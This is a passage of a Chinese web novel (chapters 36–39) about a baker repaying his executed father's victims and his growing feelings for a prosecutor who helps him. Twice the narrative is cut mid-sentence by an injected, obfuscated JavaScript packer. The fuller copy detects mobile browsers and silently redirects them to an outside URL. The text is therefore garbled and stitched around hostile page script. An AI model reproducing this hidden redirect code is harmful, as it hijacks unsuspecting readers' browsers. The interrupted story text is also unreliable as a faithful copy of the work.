戚玉衡忙摆手:“不用了,不用了,大雨天,车不好开。从这到我家、再从我家回你家那边,二十多公里呢,太麻烦你了。而且我是骑车来的,得把车骑回去。” “没事,我开车很小心的。而且如果我不送你回去,你要怎么回去啊?骑你的电动车回去?外面雨这么大,不出十秒钟你就会变成一只落汤鸡。我记得你那个电动车是折叠的,你把车放我后备箱就好了。” “我穿雨衣了……” 沈灵均一锤定音:“行啦,别跟我客气了。就这么办。” 36.第 36 章 一直以来,戚玉衡的生活可以说是一成不变的——除了工作,还是工作。因为习惯了,他从不觉得这样的生活有多么疲惫和痛苦,但当然的,这样的生活,也鲜少让他感受到轻松和快乐。 但最近一段时间,一切都变了。戚玉衡感觉,他现在好像回到了刚满十八岁时的那段日子。那个时候,那件毁掉他和乔瑜人生的事还没有发生,他期待着高考,每天内心都充满希望。现在的他,总是期盼着能去李长乐家上课——他偶尔能从李长乐的嘴里听到关于沈灵均的只言片语,像是收集到了一些沈灵均的碎片。 周六下午,做完店里的工作后,戚玉衡按照姚彤选的样式,给姚彤做了个生日蛋糕。姚彤是戚玉衡为数不多的朋友之一,比戚玉衡小两岁,现在在一家私人会所做服务员。 姚彤和他的相识,相当戏剧化。他们两个人的父亲是同年同月同日死的“交情”——他们是在同一天被执行死刑的,在执行死刑的前一天,法院组织了他们与近亲属进行了最后一次会见,他和姚彤都去见了自己的父亲,两人就这么认识了。相似的处境促使他们结下了友谊。 但有所不同的是,在姚彤心中,她的父亲姚万里是个很好的父亲。因此姚彤和她母亲在审判之前就想尽办法地赔偿受害人家属,以期得到他们的谅解。 在犯罪之前,姚万里是一名建筑工人,姚彤的母亲冯颖在他工作的工地旁边摆摊卖盒饭。一家三口虽不富裕,但是夫妻恩爱、孩子懂事,生活得也算安乐。但在姚彤十五岁那年,冯颖经常觉得乳防隐痛,起初她只以为这是神经痛,不是大事,便没跟家里人说。直到后来出现了乳投溢液等症状,冯颖才提起重视,去医院挂了号。一番检查做下来,医生诊断她患了乳腺癌。 当时冯颖只是乳腺癌早期,病情并不严重,医生说,通过化疗治疗,冯颖甚至可以不做乳防切除手术,保住乳防。之后,冯颖便开始了化疗治疗。几个疗程结束之后,尽管冯颖努力地精打细算,一家人的钱袋子还是见了底。姚万里于是去向工头讨薪,但是被工头搪塞了回来。 几天之后,姚万里得知,开发商已经无力承担楼盘后续的投资,他盖的房子成了烂尾楼,而工头拿着他们工人的血汗钱,跑了。在那之后,为了给冯颖挣医药费,姚万里开始起早贪黑地在用人市场蹲着,只做日结的短工。 但短工的机会不是日日都有,薪资也不是很高。手里没钱,冯颖的化疗根本没法按疗程持续做,身体眼看着一天一天的衰弱下去。极度缺钱的姚万里最终走火入魔,干起了抢劫的行当。 姚万里虽然文化水平不高,但却是个性格很耐心、很谨慎的人。他只在深夜、只在没有摄像头的路段作案,作案之前都会多次踩点,规划好逃跑路线。他只抢现金,从不抢需要销赃的贵重物品。他出手狠辣,不留被害人的活口。 两个月间,他犯下了五桩案子,杀了五个人——就为了四千多块钱。姚万里被抓之后, 冯颖四处奔走,把家里能卖的东西全卖了,希望能得到被害人家属的谅解,保住姚万里一条性命,但这个计划最终失败了,姚万里最终还是被判了死刑。而因为没有钱继续治疗,冯颖的病情不断加重,在姚万里执行死刑之前,她就病死了。 她本想着舍一边保一边,但结果却是两边都没保住。姚彤就这么成了孤儿。 姚彤当时还在读高一,但为了还法院判赔的钱,她辍学去打工了。那会姚彤才刚满十六,愿意招她做工的地方本来就少,她又是个女孩,没法做体力活,刚开始打工的时候,她连养活自己都很困难。她先是辗转在几家工厂里做工人,随后又去售楼处做销售。和戚玉衡一样,为了还钱,她白天打一份工,夜里打一份工。 相比于戚玉衡,姚彤欠的钱并不算多,因此她在前年就把钱全都还完了。还完债之后,姚彤把工作辞了,休息了两个月,随后才找了现在的工作。 考虑到他之后还要去Resonate兼职,姚彤将吃饭的地点选在了Resonate附近的一家火锅店。 因为戚玉衡一直很忙,两个人上次见面的时候还是四月份戚玉衡过生日,已经有半年多没见过面了。 见面第一句话,姚彤道:“这半年多,你还上了多少钱?” 戚玉衡笑着伸出四根手指。 姚彤高高挑起眉:“四十万?!这么多?你太牛逼了!” “因为今年店里的生意比去年还好。” 姚彤算了算:“那按照这个势头,再有个三四年,你的债也清了啊!” 戚玉衡摇摇头:“……没有,得十年吧。” 姚彤皱起眉:“不应该啊,我记得你不是一共才欠八百多万吗?” 戚玉衡用手指抠着蛋糕包装上的缎带,道:“那个厂子,我朋友家的那个厂子,没出事之前,效益一直挺好的。所以他家里条件一直不错。但出事了之后……他父母的墓地钱都是朋友给凑的。法院认定的财产损失,本来就比市场价值低,这十几年来,钱又不像以前值钱了,我就想多还他们家些钱。” “今年容州的人均可支配收入已经是十二年容州人均可支配收入的两倍多……等我还清了法院判定的钱的时候,我想,根据那个时候的容州人均可支配收入涨幅,再补给他们一些钱。这样的话,差不多得十年之后才能把钱还清了。” 姚彤表情几度变幻:“你、你……唉,你这个事,我也不好插嘴……你自己开心就好。但是,我说句难听的话啊,这人啊,有的时候还是自私点好。你给你朋友再多钱,你们俩也回不到从前了,他肯定还是恨你,死的人也活不过来了,倒不如把钱留着自己花。” 戚玉衡点点头:“嗯,所以……我也只打算在欠他们家的钱上用这个方法算账。其他的人……我就还按照法院的算法赔。” 感觉出气氛有些沉重,戚玉衡开始拆蛋糕的包装:“你看,这个蛋糕是不是和你发给我的图一模一样?” 姚彤很给面子:“比图里做的还好看。” 戚玉衡又拿出他给姚彤买的礼物——是一瓶香水:“我也不知道你会喜欢什么味道,柜姐推荐给我哪个我就买哪个了。” 姚彤瞪大眼睛:“你买这个干什么?你退了吧。还能退吗?这牌子很贵的!你自己的那点事还没解决,你就别在这种事上花钱了。我不是告诉你,你带蛋糕来就行了吗?你买就算了,还去专柜买……” “好啦。我呀,一年也就送你这么一次礼物,你再想要我都不会送了。” 姚彤见推辞不过,便当着他的面把香水拆开喷了两下:“好闻,我喜欢。” 虽然她嘴上说不想要,但戚玉衡看她的眼神和表情就知道,她其实是喜欢的。 点完菜后,姚彤问:“你最近晚上在干什么?收入怎么样?” 戚玉衡的脸上忍不住挂上了些笑意:“二四六在酒吧唱歌,这个你是知道的,一三五七,我现在在做家教。” 姚彤愣了一下,脱口而出道:“谁会找你做家教?” 说完,姚彤连忙找补:“玉衡,你知道我不是那个意思……” 戚玉衡一脸理解:“我知道。我一个只有高中学历的人,正常的话,谁会找我做家教啊?我也觉得不可思议。这不是……遇到好人了吗?” 戚玉衡随后便把他这段时间的经历讲给了姚彤听。 姚彤听完,长长地“哦”了一声:“哦————” 姚彤微微往前探了探身子,露出一个促狭的笑:“戚玉衡,交个底啊,你是不是,喜欢上那个沈检察官了?” 戚玉衡没有第一时间说话。 姚彤脸上的笑意越来越大:“说啊,快说。快回答我。” 戚玉衡躲开她的眼神:“……是又怎么样啊?” 姚彤一拍桌子:“我一猜就是!” 戚玉衡喝了一口水:“我……我有那么明显吗?” “哦哟哟,”姚彤模仿着戚玉衡刚才的语调:“‘沈检他人特别好’‘沈检长得很帅’‘沈检特别优秀’……跟个怀春少女一样。你记得你们每次见面人家身上穿的衣服!你甚至还记得人家身上不同的香水味!这要是没事我倒立吃屎。” 戚玉衡的脸已经涨得通红:“我才没你学的这么夸张!” “他长得很帅吗?有多帅?有照片吗?我倒要看看,什么男人能把你迷得神魂颠倒。” 戚玉衡把沈灵均朋友圈那张照片找了出来。姚彤看了一眼,嘶了一声,拍了拍戚玉衡的肩:“操,确实很帅。怪不得你看不上我给你发的小片片里的男主角,原来是眼光高啊。” 戚玉衡:…… “但是,衡啊,我觉得他是直男。” 戚玉衡把手机拿了回来:“不用你觉得,他就是。他谈过女朋友的。” “你问过?” “我不是在给他侄子当家教嘛,他说的。” “更何况,”戚玉衡垂下眼睛:“退一万步,人家就算和我一样喜欢男的,咱们这条件……” 姚彤点点头:“是。咱别自取其辱。” 两个人吃了一会,戚玉衡突然听到有个女声道:“……玉玉?” 戚玉衡抬起头,看见两个大约二十七八岁的女人站在他们桌边,其中穿着黑衣的那个他看着很面熟——他很快认出了她。 戚玉衡慢慢站了起来:“……萌萌。” 付雨萌上前几步拉住他的胳膊:“真是你!我下意识地就喊你了……没想到真是你……” 付雨萌眼睛红了:“十二年没见了。我还以为我辈子都再也见不着你了。” 戚玉衡轻轻拍了拍她的手背:“这不是又见到了吗?” 付雨萌听到这话,狠狠地杵了戚玉衡一下:“你还说呢?这么多年,你也不知道联系我一下,你是真没拿我当朋友啊!毕业十周年的聚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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整个晚上,有四个女生试图和他搭讪——还有一个男生!但以戚玉衡的观察来看,沈灵均无一例外,全部拒绝了。 戚玉衡自嘲地想:无论嘴上说的话多么漂亮、多么潇洒、多么清醒,他内心的卑劣还是无法遮掩。他明明知道沈灵均对他来说遥不可及,却还是不可避免地对他生出了一丝独占欲。 当沈灵均十一点还没走的时候,戚玉衡意识到,沈灵均是有意在等他。而让戚玉衡没想到的是,沈灵均等他,是为了告诉他一件大好事。 “……我妈工作的公司员工挺多的,这其中,年轻员工的占比很高,他们很爱买西点,所以西点档口的生意一直不错,这里面的赚头不小。你可以回去和你的合伙人商量一下,如果你们愿意承包的话,我就给你们牵个线。” 虽然心知牛明星一定会同意,但戚玉衡并没有立刻做出答复:“好、好,我回去会跟她说的。” 戚玉衡的手紧紧地攥着自己的膝盖:“谢谢你,沈检。” “都是小事……” “可能对沈检来说,是小事吧,”戚玉衡看着车窗外的大雨:“但是对我来说不是。” 其实,这件事在他中场休息的时候告诉他,也可以的。前前后后用不了两分钟。但为什么沈灵均一定要等到他下班才跟他说呢? 或许是察觉到雨一时半会停不了,所以想等他下班,送他回家——戚玉衡并不想自作多情,但是想到沈灵均的性格和行事作风,他又觉得,事实或许就是如此。 戚玉衡两手交握,左手用力搓着用手大拇指:“我……我知道,沈检你是,知道了我的情况,你想帮帮我,所以特地帮我想的办法,希望能让我的生意好一点。我真的很感激你。我、我……真不知道要怎么回报你。” “回报什么呀,不用回报。” 戚玉衡偏过头去看沈灵均:他干过很多服务类工作,所以很擅长察言观色。结合这段时间和沈灵均的相处,戚玉衡觉得,今天的沈灵均并不是很开心。即使他在笑,他的眼睛也和他真正开心的时候不一样。 但他,能为他做什么呢?他能解决沈灵均的烦恼吗? 他贫困、出身不好、社会地位低,人微言轻,弱小又无能。沈灵均能想方设法地帮助他,但反过来,他却无能为力。 “……如果,如果沈检之后有什么地方能用到我,一定要叫我。” 戚玉衡说完这句话的时候,车刚好碰到一个红灯。沈灵均转过头,看向戚玉衡。 沈灵均本来想说一句“不用”,但看着戚玉衡的眼睛,他却怎么也说不出来了——无论是谁,当你看着那样一双赤诚的眼睛的时候,都很难说出拒绝的话。戚玉衡的眼睛里像是有一团火,火里面烧着他滚烫的真心。 这是一句很重的承诺。沈灵均想。 沈灵均的喉结滚了滚:“……好。” “还有,我……我请你吃饭吧沈检。你帮了我这么大的忙,我至少该请你吃顿饭。” 沈灵均想了想,没拒绝:“好。” “那……明天晚上,你有时间吗?” “没问题。” 37.第 37 章 周日下午,陈彦博给沈灵均发微信,说下午要来他家打游戏——沈灵均家里有一百寸的大电视,还有大沙发,是陈彦博的快乐老家。 沈灵均自然没有拒绝。 下午两点多,陈彦博提着一大包东西来了。 沈灵均接过他手里的东西:“这什么?” “我刚从我爸妈那出来,这我妈包的馄饨、烧麦和灌汤包,让我带给你做早餐。” “这太麻烦张姨了,一会我打电话谢谢她。你让她别再弄了,多麻烦。” 陈彦博一摆手:“你可别多事!”陈彦博眼珠一转:“不对,你可以给她打电话,你就说好吃,下回还想吃。你让她弄吧。她退休之后就一天天闲得没事干,要是不给她找点事,她就在我耳边念经,催我结婚找对象,她手里有点活,我耳根子还能清净点。” 陈彦博扑倒在沙发上:“我这周真他妈累麻了。每天都巨忙,科里新分给我两个轮转的规培生,手特别生……回我爸妈那还得挨催婚……” 陈彦博翻了个面,叹了口气:“……沈灵均,你要是结婚了怎么办?” 沈灵均莫名其妙:“……话题怎么突然就转到我结婚这来了?” “你要是结婚了,那我的快乐老家不就没了?我这么一个烦人精总往你这跑,哪个姑娘能忍?不得拿扫帚给我撵出去?” “你还挺有自知之明的,烦人精。不用别人,我可以现在就拿扫帚给你撵出去。” 陈彦博用下巴示意了一下电视:“你跟我一起玩不?” 沈灵均把张慧给他拿的东西往冰箱里放:“不行,年末了,新来了一堆案子。我前……”沈灵均本想说因为他休假,手里还压了两个案子,但他很快就反应过来,他没把寇欣袭击他的事告诉陈彦博,于是临时改了口:“……段时间活干得慢,有好几个快到诉期的案子,我得赶紧把它们诉出去。得写意见书……还有很多杂七杂八的工作报告得写。你自己玩吧。” “对了,晚饭你自己解决。” “啊?为什么?你晚上要出门?” “嗯,我和小戚约好要一起吃饭。” 沈灵均走出厨房,本想跟陈彦博说说韩春生的事,但他看着陈彦博美滋滋挑游戏的样子,最终什么也没说。 写完一份意见书,沈灵均随手点开了朋友圈。他往下划了一会,刷到了一个马术俱乐部教练发的视频。 沈灵均陪着徐锦英去过这个马术俱乐部两次,这个教练教得十分用心,沈灵均便加了他的微信。这个教练今天发的视频是一个客人骑马的视频,这家俱乐部的马场特别大,摄影也特别会拍,拍出来的视频很有观赏性:一望无际的平原中,一个男人单骑冲向即将落入地平面以下的红日,远景、近景不停切换,画面中的男人身姿矫健,神采飞扬。 很有电影感的画面。如果画面中的主角不是致使沈霞举失去双腿的肇事者,沈灵均会称赞得更加真情实感一点。 沈灵均关掉手机,起身打开书柜,从书柜里拿出两盒药。两盒药的药盒上有不少干涸的血迹——这是沈霞举出事时拿在手里的药。 沈灵均拿着这两盒药站了半晌,又把药原样放回书柜里。 随后,沈灵均又工作了一会,便换了衣服去和戚玉衡碰头。考虑到戚玉衡八点钟还要去给李长乐上课,沈灵均特意选在李长乐家附近的一家商场吃饭。沈灵均和戚玉衡约定五点半在商场B口碰面,沈灵均早到了十五分钟,他在大堂里等了两分钟,拐去旁边的奶茶店买了两杯奶茶。 过了五分钟,戚玉衡也到了。 今天的戚玉衡让沈灵均眼前一亮。戚玉衡无疑是非常好看的,这是沈灵均第一次见他时就了解到的事实。但是两人相识以来,戚玉衡的穿衣风格一直十分朴素,不是穿黑色就是穿灰色,外套也一直只穿一件黑色的夹克,鞋一直也都是穿一双黑色的板鞋。 但今天,戚玉衡上身穿了一件白色的打底衫,外罩一件浅卡其色的毛衣,下身穿了一条浅蓝色的牛仔裤,鞋子也换成了一双圆头皮鞋。这身衣服把戚玉衡的好身材完美地呈现了出现,显得戚玉衡的腿有两米长。 戚玉衡朝他的方向跑了过来:“不好意思沈检,我来晚了。” “没有,是我提早来了,”沈灵均把手里的奶茶递给戚玉衡:“不知道你喜欢喝什么,就买的他们家的明星单品。” “……谢谢。” “我们吃什么?” “你想吃什么?我听你的。” “嗯……餐饮在四楼五楼,我们先上去逛逛吧,然后再决定。” 两个人上到三楼的时候,沈灵均刚想踏上去四楼的电梯,戚玉衡就拉了一下他的袖口。戚玉衡指着一个方向:“……那个男生是不是长乐?” 沈灵均顺着戚玉衡指的方向看去,果然看见了一个背影和李长乐极为相像的男生,他身旁站着一个矮他一个头的女生,两个人正在一个蛋挞档口买蛋挞。 “……确实挺像的,但那个女生……是他女朋友?长乐最近有跟你说他谈恋爱的事吗?或者跟你频繁提到一个女生?” 戚玉衡立刻摇头:“没有。” “我们……跟上去看看?” “好。” 两人跟了这对少男少女一会,终于等到那男生侧身跟女生说话——这男生真的是李长乐。 “真是他,”戚玉衡小声道:“长乐这是……谈恋爱了?” “不一定,”沈灵均道:“我看他俩走了这一路,也没有什么亲密举动。但是,就算不是谈恋爱,我觉得也快了。我感觉他们俩之间的气氛不一般。” 沈灵均说着说着,语气就变得酸溜溜的:“诶,你看长乐,你看,对着这个女生,他笑得多开心啊。你再看他对我,”沈灵均模仿着李长乐的神情:“‘不用你管我’,‘我知道了’。哪对我这么笑过啊。” 戚玉衡立刻安慰他:“你对长乐的好,长乐心里其实都清楚。他就是有些别扭,尤其是他现在正是青春期,等到他再大一点,他说不定就能把这个劲缓过来了。” “嗯。嗐,我也就是说说,我也没真往心里去。” 两个人正说着,李长乐和他身边那个女孩也要走到这一层的尽头了。沈灵均忙说:“他俩要调头了,我们找个地方躲一下。” 说着,沈灵均就拉着戚玉衡拐进了一家女装店。两个人跟做贼一样躲在衣服后面,在看到李长乐和那个女孩从店门口走过去才松了一口气。 又等了两分钟,沈灵均二人才离开那家女装店。戚玉衡问沈灵均:“这个情况……你想怎么处理啊?” 沈灵均想了想:“先顺其自然。这姑娘是不是长乐女朋友这事还要打问号呢。而且,就算长乐真的谈恋爱了,也不是什么大事。我看那女孩也是十七八岁的样子,两个人大概率是同学。” “其实我倒不担心他谈恋爱影响成绩,他那个数理化成绩,再降能降到哪里去?” 戚玉衡微微瞪大眼睛,立刻跟沈灵均保证道:“不会下降的!长乐这次月考的成绩一定比上次好!真的!我经常和他在一起,我能观察得出来,他的数理化真的有进步。” 看他这么认真,沈灵均忙解释道:“我就是随口一说。其他的我都不担心,唯独一点。” “什么?” “你也知道,长乐的父母都不在他身边了,爷爷也已经老年痴呆有几年了,在许奶奶出事前,一直是他们两个人相依为命。但许奶奶那个年纪的人……我担心,在青春期教育这方面,许奶奶做得会不够全面。” 戚玉衡立刻明白了他的意思。 “他们这个年纪的孩子,荷尔蒙比较旺盛,做事也比较冲动。我就担心,他和女孩子……尝禁果什么的。他是男生,尝了也谈不上有什么损失。但是对女孩子而言不是这样。这种事,得慎重。” 戚玉衡想了想,道:“这样吧沈检,最近这几天,我先去探探长乐的口风。要是真的有什么情况,我想 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邹雅雯又把视线移到沈灵均身上,表情夸张地道:“天啊,师兄,你穿的这是什么?” 沈灵均一愣,下意识地将自己从头到脚地打量了一遍——衣服没穿反、没弄脏、没破,裤子拉链也都拉好了。他怎么了? 邹雅雯道:“你把外套脱了。” 沈灵均眼中带着狐疑,把外套脱了。 邹雅雯指着他身上的衣服:“你居然穿黑色、半高领的贴身针织衫,这简直是男人能穿的最色情的衣服了。” 沈灵均:…… 沈灵均立刻把外套往身上套:“你这什么奇奇怪怪的性癖?” “我说错了吗?啧啧,尤其是你这种身材好的人,你的肌肉线条全露出来了,你的肩你的背你的手臂,哦,还有你的胸,多涩啊,穿比不穿还涩。这就跟你们男人喜欢黑丝的原理一样,”邹雅雯问身旁的戚玉衡:“戚先生,你说是不是这个感觉?” 邹雅雯本是随口一问。但她看到,戚玉衡抿着唇笑了一下,没答话。随后,戚玉衡的脸变得更红了,眼神也变得有些闪躲,不往沈灵均的方向看了。 邹雅雯:…… 读研期间,邹雅雯暗恋过沈灵均不短的一段时间——沈灵均是个很尽责的师兄,又因为两人是同乡,对她多有照拂。邹雅雯觉得,一个直女,想对沈灵均这样的人保持心如止水,是件很有难度的事。反正她是没有那么好的定力。但沈灵均当时一直有女友,邹雅雯于是从来没对他有过什么非分之想。而沈灵均恢复单身后不久,他就毕业了,邹雅雯根本没找到机会表白——她本也没打算表白。喜欢沈灵均的人太多了,被他拒绝的人也太多了,与其表白被拒断联,邹雅雯觉得,还是老老实实和沈灵均当师兄妹好。 毕业回到容州后,机缘巧合之下,邹雅雯知道了沈灵均的豪门背景,巨大的阶级差距彻底把她的单相思治好了。她自我调理了一番,斩断情丝,摆正位置,彻底死了心。但看到戚玉衡脸上的表情,邹雅雯恍惚间回到了那段有些孤独的单恋岁月——类似的神态,她在沈灵均身边很多女生脸上见过。她自己的脸上,大概也曾有过。 沈灵均没留意戚玉衡此时的表情,他把外套穿好:“邹雅雯,你给吓我一大跳,我第一反应是我没拉裤链,汗都给我吓出来了。” 邹雅雯有些心不在焉地道:“嘿嘿,我其实也是夸师兄你身材好嘛。” 戚玉衡道:“邹律,我和沈检正要去吃饭,你要不要一起?” 邹雅雯看到他们两个时,心里也是这么想的:既然这么巧在这遇上了,互相之间又都认识,就一起吃饭。 但现在…… 邹雅雯看了看沈灵均,又看了看戚玉衡,最后道:“我就不去了,我现在减肥呢,绝不吃晚饭。” 38.第 38 章 这天晚上,中场休息的时候,戚玉衡装作不经意的问:“长乐,你们班有多少人啊?” 李长乐答道:“五十九人。” “多少个男生多少个女生啊?” “三十一个男生,二十八个女生。” “男女比例差不多啊……那这二十八个女生中,有没有你中意的女孩子?” 李长乐抬头看了戚玉衡一眼,表情有点不自在:“……你问这个干嘛?” “单纯好奇。八卦是人的天性啊。” 李长乐的眼神在空中来回飘着:“没有啊。” 看李长乐这表现,再结合他的所见,戚玉衡一点也不信他的话:“我不信。” 李长乐梗着脖子:“……你不信就不信呗。真没有。” “她漂亮吗?” “……都说了没有。” “她成绩是不是比你好?” “……” “其实你谈恋爱我也不反对,但是千万不能影响成绩,”这段时间,戚玉衡和李长乐之间越来越熟悉,戚玉衡便用沈灵均的话跟他开玩笑道:“诶呀,不过你的数理化成绩应该也没什么下降空间了。还能考得比三十八更低吗?” 李长乐有些心虚地撇开眼睛:“……可以啊,我还考过三十分。” 但李长乐很快道:“但是,我这次一定可以考得比上次高的。至少……至少考五十!我都跟人对过答案了。” “跟谁对的答案啊?小女朋友?” “你干嘛啊戚哥,今天一直八卦我。我还想八卦你呢!” “你想八卦我什么?” “你,”李长乐咽了口口水:“你……你学习这么好,为什么……为什么没再上学了?” 李长乐其实是个很体贴、很细心的孩子。这个问题在他心里应该已经憋了很久了,但他大约是害怕戳到他的痛处,一直没问出口。 戚玉衡双手环胸,做出了一副思考的样子:“诶呀,这个问题对我来说真是难以回答。” “……那我不问了。” “这样吧,以真心换真心,我说真话,你也说真话。我回答你,那你也告诉我,你喜欢的是个什么样的女孩好不好?” 李长乐的眼珠转了转,最后点了点头——很好,他确实有喜欢的女孩子了。 戚玉衡道:“因为我爸是个杀人犯,我为了赚给被害人家属的赔偿金,所以没法念书了。” 李长乐万万也没想到会是这个答案。他张开嘴,有些语无伦次:“戚、戚哥,那个,我……” “没事。这都是事实,没什么不能提的。好了,现在该你回答我了。” 李长乐红着脸,挠了挠头:“就……我觉得她长得挺好看的。她成绩比我好。但说实话,也没比我好到哪去,上次我考四百三十九,她考四百六十九。” 戚玉衡轻轻敲了一下李长乐的头:“感觉你还挺不服气的?人家这个分数,一般都可以过本科线的,你这个分数,一般都是过不了的。别看就区区三十分,但是这三十分可是很重要的一道分水岭。你先考到四百六十九再来不服气。” “我知道了……我这次就可以!” “好。你们周一是不是就出成绩了?我等着你的好消息,”戚玉衡顿了一下,说:“你谈恋爱,我不反对。但不要影响成绩,而且,最重要的是,你得有责任心,不要一时头脑发热,就随随便便地和女孩子出去,知道吗?你们还太小了。” “……知道了。” “你理解我的意思了?” “理解了,”李长乐红着脸,“不就是不要和女孩子出去……出去开房吗?我、我们俩还没在一起呢。好了好了,赶紧上课吧。我不休息了。” 晚上回到家,戚玉衡把他打探到的消息转述给了沈灵均,随后道: 【戚玉衡:我把你的精神都传递到了,长乐也说了,他们俩还没到那个份上。之前你和我说长乐成绩没有下降空间了,我原话说他,他都不乐意了。信心满满说这次他数学至少能考五十。】 沈灵均立刻回复他了一个笑哭的表情。 【Shen:那挺好,相当于他比上次进步了三分之一,这是飞跃性进步啊。】 【Shen:我放心了。多亏了你戚老师。他一直和我不太亲近,这些年,我也不是没努力过。但是我俩的关系就在那里,离他太近,对于他来说很可能也是有一种伤害,像是不断掀起一块要结痂的旧伤疤。但是现在有了你,一切都不一样了,他有了学习上的老师,在生活上,他也有了能敞开心扉的长辈,我放心很多。谢谢你[玫瑰][爱心]】 【Shen:很晚了,你明早上班时间又早,早点休息】 戚玉衡盯着沈灵均句尾的爱心看了一会,回道: 【戚玉衡:这是我应该做的,你别客气。你也早点休息。】 和沈灵均道完晚安,戚玉衡放下手机,捧起枕边的小企鹅。 戚玉衡轻声道:“我真的帮到你了吗?” 小企鹅当然不会回答他。 戚玉衡又捏了捏小企鹅的手,随后把它放进被子里,睡了。 第二天上午九点多,戚玉衡接到了付雨萌的微信。 【AI:方便打个电话吗?】 戚玉衡犹豫了一会,走出烘焙间,回了个好。 很快,付雨萌的电话就打了过来。 接通电话,戚玉衡说了一声“萌萌”后就不知道该说点什么了。付雨萌也迟迟没有开口。过了一会,付雨萌才带着哭腔开口道:“戚玉衡,你为什么啊?为什么就直接玩失踪啊?你知不知道一开始我真担心你想不开、你寻短见,天天担惊受怕。你也太没良心了!” 戚玉衡道歉道:“对不起。” “后来是乔瑜告诉我你和他有联系,我才放下心。” 付雨萌在电话那头抹了抹眼泪:“乔瑜也没良心,毕业了之后就不和我们联系了,知道的知道他是去警校了,不知道的以为他去坐牢了。” 付雨萌顿了顿,声音放轻了一些:“……我下个月结婚。你会来吗?” 戚玉衡沉默着,没说话。付雨萌于是知道了他的答案:“你应该不来。不来也没事,你来,肯定会不自在,肯定会有人议论你,你不来才对。我就是想跟你说一声。” “跟你说……我要结婚了。” 付雨萌笑了一声:“我也给乔瑜发请帖了,不知道他来不来。我跟他也有小十年没见过了,”付雨萌又轻声骂了乔瑜一句:“没良心的,现在回头看,喜欢过他简直是我的人生黑历史。” “恭喜你,进入人生新篇章。你老公多大?是哪里人?现在在哪工作?你们怎么认识的?” “他跟我同岁,我们是大学同学……” 戚玉衡安静地听着付雨萌的叙述,心绪不受控地飞回了十几年前。那个时候,他和付雨萌是同桌,乔瑜坐在他的前面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809240|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他们三个人形成了一个小小的三角形。都说三角形是最稳定的结构,但他们的这个三角形却在命运的冲击下不可避免地分崩离析了。 从高三到现在,不过短短十三年光景,戚玉衡却觉得自己已经历了几轮的生、离、死、别。 听完付雨萌的讲述,戚玉衡轻声道:“祝你新婚快乐。” “……嗯。” “一会我给你发个红包,是给你结婚的礼金。你一定要收,我人不能到了,这份心意,你就收了吧。” “干嘛?你这样搞得我专门打电话朝你要礼金一样。” “我把我店铺的微信推给你,你以后多来消费就好了。” “你现在开店了?什么店?” “面包店。” “面包店……做西点吗?做蛋糕吗?” “做啊。怎么了?” “我不是要办婚礼吗?草坪婚礼,在户外,我要弄那个户外的甜品台,我试了好几家都不满意。你要是做西点,我就在你们家定甜品了。你也不用转我礼金了,就当定金押你这吧。” “诶,你这……”戚玉衡有些哭笑不得,他想了想:“行吧。我现在这个店是和别人合伙开的,我合伙人就是负责运营店铺微信的人,她是个女孩,人很好相处,你有什么要求都可以和她提。” 挂掉和付雨萌的电话,戚玉衡回店里跟牛明星说了这件事。 “她是我高中时的朋友,所以……” 还没等他说完,牛明星就明白了他的意思:“我懂,我会给她打折的。” 戚玉衡笑了笑,朝牛明星做了个抱拳的手势,回烘焙间工作了。 工作了没多久,戚玉衡忽然听到外面有个女声高声喊他的名字:“戚玉衡、戚玉衡,你出来!你给我出来!” 戚玉衡觉得这个声音有点耳熟,但他毕竟是个半聋,隔着一道门,他分辨不出来这是谁的声音。戚玉衡连忙走出烘焙间,就见到邓淑丽和牛明星正拉拉扯扯的。看那样子,似乎是邓淑丽想往店里冲,但被牛明星拦下来了。 看到这场面,戚玉衡心里登时一紧——牛明星怀孕已经五个多月了,这时候她要是摔一跤可不是开玩笑的。 戚玉衡连忙上前想要拉开她们两个,而邓淑丽一看到他,就像炸了毛的母狮一样发出一声尖啸,她一把挥开了牛明星。戚玉衡立刻伸手一捞,把牛明星抱在怀里。他刚想说话,邓淑丽就一巴掌打在了他脸上。 邓淑丽这一巴掌势大力沉,直接把戚玉衡的助听器打飞了。戚玉衡登时感觉左脸一片剧痛,左眼也直发黑——但这些都是次要的,没了助听器,他直接由半聋晋级为一个全聋。 世界安静了。邓淑丽的声音也立刻从他耳边消音了。 戚玉衡看着牛明星的嘴巴一张一合,感觉到了她喷薄而出的怒气,但是他现在什么都听不到。他看见于双胡亦豪几人也从烘焙间出来了,邓淑丽似乎还想冲过来打他,但于双一马当先地拦在了他身前,叉着腰和邓淑丽吵了起来。 戚玉衡一边小心翼翼地护着牛明星,一边用还有些花的眼睛在地上不住逡巡着——助听器呢?他的助听器呢?他宝贵的五千块、他的耳朵呢? 终于,他看到它了。它躺在距离他一米外的位置。 戚玉衡精神一振,刚想蹲下身去捡,但一片混乱之中,不知道属于谁的一只脚从它上面踩了过去。他的耳朵立刻扁掉了。 戚玉衡:…… 39.第 39 章 周一上午,沈灵均带着余绵绵去看守所提讯。 提讯回来的路上,沈灵均的手机连着响了好几声。他翻出手机一看,发现是宋颖在家长群里发了通知,说第三次月考的成绩出了,家长可以通过小程序查分了。 沈灵均点开小程序,十分紧张的在查询栏输入了李长乐的学号——他高考查成绩都没这么紧张过—— 480! 李长乐进步了四十分!距离高考还有半年,要是李长乐能一直保持这个进步的势头,每次月考都进步四十分……哈哈!别说本科了,说不定能考上个重本呢!双一流、211也不是梦!沈灵均喜不自胜,脑海里一时间满是李长乐考上重点大学的美好畅想。 这时,沈灵均看着导航上的位置,发现他们现在所在的位置距离星星烘焙并不远。沈灵均又看了眼时间——快十一点了,马上就到饭点了。沈灵均想了想,跟余绵绵道:“绵绵,过了这个路口,你找个能停车的地方给我放下吧。” 